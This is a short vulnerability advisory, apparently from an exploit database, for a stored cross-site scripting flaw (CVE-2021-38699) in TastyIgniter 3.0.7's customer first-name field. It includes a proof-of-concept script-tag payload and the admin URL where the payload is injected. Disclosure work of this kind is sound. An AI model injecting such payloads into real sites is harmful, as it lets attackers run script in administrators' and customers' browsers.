TastyIgniter version 3.0.7 suffers from a persistent cross site scripting vulnerability.
60b4b39b8239a5951ee136da0b3b1117# Exploit Title: XSS-Stored on TastyIgniter 3.0.7 Vulnerable parameter
Customer[first_name] on /customers/create
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 08.13.2021
# Vendor: https://tastyigniter.com/
# Link:https://tastyigniter.com/download
# CVE: CVE-2021-38699
[+] Exploit Source:
# Vulnerability Assessment
XSS-Stored Allow 48 characters
# Url
http://192.168.1.3/setup-master/admin/customers/create
# Payload
<script>alert("nu11secur1ty_is_here");</script>
# Vulnerable parameter
Customer[first_name]
----------------------------------------------------------------------------------------
# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38699
# Proof: https://streamable.com/i6lzfc
# BR nu11secur1ty
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>